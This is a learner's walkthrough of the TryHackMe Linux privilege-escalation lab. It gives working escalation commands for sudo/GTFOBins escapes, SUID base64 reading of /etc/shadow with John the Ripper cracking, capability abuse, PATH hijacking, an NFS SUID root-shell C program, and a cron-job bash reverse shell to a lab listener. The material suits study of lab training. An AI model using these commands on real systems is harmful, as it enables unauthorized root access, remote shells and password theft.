https://tryhackme.com/room/linprivesc

Enumeration

Commands
```
hostname
uname -a
ps / top /htop
env
sudo -l
ls -la / tree / find
id
history
ifconfig
ip route
netstat
```

Files
```
/proc/version
/etc/issue: Sometimes has distro information
/etc/passwd
```

find examples
```
    find . -name flag1.txt: find the file named “flag1.txt” in the current
directory
    find /home -name flag1.txt: find the file names “flag1.txt” in the /home
directory
    find / -type d -name config: find the directory named config under “/”
    find / -type f -perm 0777: find files with the 777 permissions (files readable,
writable, and executable by all users)
    find / -perm a=x: find executable files
    find /home -user frank: find all files for user “frank” under “/home”
    find / -mtime 10: find files that were modified in the last 10 days
    find / -atime 10: find files that were accessed in the last 10 day
    find / -cmin -60: find files changed within the last hour (60 minutes)
    find / -amin -60: find files accesses within the last hour (60 minutes)
    find / -size 50M: find files with a 50 MB size
```

Automated Enumeration tools:
LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
LinEnum: https://github.com/rebootuser/LinEnum
LES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggester
Linux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumeration
Linux Priv Checker: https://github.com/linted/linuxprivchecker

Kernel Exploitation

Research sources:

Based on your findings, you can use Google to search for an existing exploit code.
Sources such as https://www.cvedetails.com/ can also be useful. Another alternative would be to use a script like LES (Linux Exploit Suggester) but remember that these tools can generate false positives

(report a kernel vulnerability that does not affect the target system) or false negatives (not report any kernel vulnerabilities although the kernel is vulnerable).

The box used CVE-2015-1328 for kernel versions 3.13.0 to 3.19.

Sudo priveledge escalation

sudo -l to view what can be ran as root as current user

https://gtfobins.github.io/ is a valuable source that provides information on how any program, on which you may have sudo rights, can be used.

Blogpost on LD_PRELOAD
https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/

the box let us use find, less, and nano as root using sudo, which can trivially escalate with nano's gtfobin script:

```
sudo nano
^R^X
reset; sh 1>&0 2>&0
```

SUID exploitaiton

find / -type f -perm -04000 -ls 2>/dev/null will list files that have SUID or SGID bits set.

The box's base64 binary had SUID, which allows any file to be read. /etc/passwd and /etc/shadow was copied and user passwords were cracked with the 'unshadow' tool and john the ripper. base64 was used to read the flag

```
base64 $FILE | base64 -d
```

Privledge Escalation: Capabilities

capabilities are parts of the system a binary can use without having full root access, like a SUID binary owned by the root user. You can use the command getcap -r / 2>/dev/null to find binaries with special capabilities, and compare them to GTFOBIN's exploit list.

The box has two binaries to use, /home/karen/vim and /home/ubuntu/view. Both have the cap_setuid+ep capability which can change the user id of what is running it and can start a privledged shell. For vim and view this is done with:

```
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset;
exec sh")'

./view -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset;
exec sh")'
```

Cronjob Privledge Escalation

The idea is simple, if there is a cronjob to a script or binary that is ran as root that we can access as an unpriveledged user, anything can be ran as root.

This was unsuprisingly easy to accomplish in the box, listed in /etc/crontab were four tasks ran every minute, with one of them being in karen's (the user we control) home folder.

```
* * * * *  root /antivirus.sh
* * * * *  root antivirus.sh
* * * * *  root /home/karen/backup.sh
* * * * *  root /tmp/test.py
```

backup.sh was modified to connect to a netcat listener and provide a reverse shell. The script also had to be marked as executable with chmod

```
bash -i &> /dev/tcp/10.0.0.1/4444/ 0>&1
```

From there, a root shell is gained and the remaining flags were found and passwords were cracked with the same method in the SUID section.

PATH Privledge Escalation

If a script specifies a program without an absolute path, the system uses the PATH variable to search the folders contained in the variable for the program. If we are able to change the PATH variable and find a script that can give some sort of escalation by tricking it with a fake version of a program it needs to run, it can be accomplished with changing the PATH variable and writing the program to exploit the script with.

In the box, we notice we can get to the folder /home/murdoch which contains a binary "test" and script "thm.py". Running the binary gives us the error "sh: 1: thm: not found". The script also searches for the program thm and tries to run it. Both of these files are owned by root but the binary has a SUID bit set. Creating a fake "thm" program and adding it to path gives us a root shell.

```
cd /home/murdoch
echo "/bin/bash" > /tmp/thm
chmod +x /tmp/thm
export PATH=/tmp:$PATH
./test
```

NFS Privledge Escalation

NFS shares, which are defined in /etc/exports, there can be folder shares with the parameter no_root_squash, which doesn't change file permissions on the fly from root to nfsnobody. Using these shares, you can write to a folder remotely as root and provide a SUID binary to spawn a root shell.

The box had these shares:

```
/home/backup *(rw,sync,insecure,no_root_squash,no_subtree_check)
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
/home/ubuntu/sharedfolder *(rw,sync,insecure,no_root_squash,no_subtree_check)
```

I decided to mount /tmp to my host machine and compile a program that spawns a root shell and set the SUID bit on it.

```
sudo -s # become root on local machine
mkdir /tmp/mnt
mount -o rw 10.0.2.12:/tmp /tmp/mnt
cd /tmp/mnt
vim nfs.c

#include <stdlib.h>
#include <unistd.h>
int main() {
      setgid(0);
      setuid(0);
      system(“/bin/bash”);
      return 0;
}

gcc nfs.c -o nfs -w -static
chmod +s nfs
```

I can then go back to my unprivleged user, run the nfs binary and get a root shell.

Capstone Challenge

Working smarter and not harder, I immediately run linpeas to try to find anything. The first big hit was base64 having a SUID bit set, allowing full read access. Copying /etc/passwd and /etc/shadow and running unshadow with john the ripper revealed the password for user missy, Password1. Logging in as user missy, we find the first flag in the documents folder. Instead of running linpeas again I ran sudo -l to find any low hanging fruit and there was one indeed, running ‘find’ as root with no password. GTFObin provided a root shell method with sudo and find:

```
    sudo find . -exec /bin/sh \; -quit
```

With a root shell, I searched for the last flag using the find command and found it in /home/rootflag/flag2.txt, completing the challenge.